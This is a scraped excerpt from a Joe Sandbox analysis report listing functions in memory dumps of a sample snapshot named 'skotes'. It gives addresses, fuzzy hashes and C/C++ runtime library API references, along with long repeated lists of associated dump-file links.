Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: b084f541cd2716c8a95631ddc0a22a52c7a31d2d4ce467cc91d3f84b5f7c3ae1
Instruction ID: d98e956039e40def3bea76647f4d673402c39c118fd8cb2f971fcab4fb943c36
Opcode Fuzzy Hash: b084f541cd2716c8a95631ddc0a22a52c7a31d2d4ce467cc91d3f84b5f7c3ae1
Instruction Fuzzy Hash: D231F236701610DFDB199F20C885AEDB7B7AFC9710F188279E9069B395DF30AD458B90

Function 00612CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction ID: b95edb466bf15fdd954f780fdddbe5b30342d89ba79c2014cbad14867b2543cf
Opcode Fuzzy Hash: acc73dba38cf3c8113de77e6c4210a33be6fb471b0e66d7ad4a2b6744deef744
Instruction Fuzzy Hash: 7D313A75A0030ADFCF10DF94D490AEE7BBAAF45310F1804AAD9019B346D770A995DBA0

Function 006213F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006213FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00621447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0062147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0062152A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction ID: 6296bebfd76162320c36886e2595c132abf46fa6fff4476c55b635d1f510bcff
Opcode Fuzzy Hash: cc2b2a730a23b2ee207a73ceec9a65e930cc3a6b24004e713198d8bcd23aff55
Instruction Fuzzy Hash: 49316271E00A169BCB44EFA8D4915EDFBF6BF99710B14822DE415AB381CB34AA41CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 00619C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00619C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00619CE8
std::bad_exception::bad_exception.LIBCMT ref: 00619CFE
std::bad_exception::bad_exception.LIBCMT ref: 00619D6A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction ID: 8c30883d3c5284005ee503af0b8d98a33e1e8363ace33ac999464786793b2cef
Opcode Fuzzy Hash: 7832aa12e0d9ad9a2659ea977ca009086958929e67e409a1113107f37ef43769
Instruction Fuzzy Hash: 1D21F875D009049FCB48EFA4E492DEEB7F6EF05310B29406DF001AB291DB316E81CB64

Function 0061A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0061A069

Part of subcall function 0061B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0061B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0061A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0061A0CB

Part of subcall function 0061AB41: List.LIBCONCRT ref: 0061AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0061A0DB

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
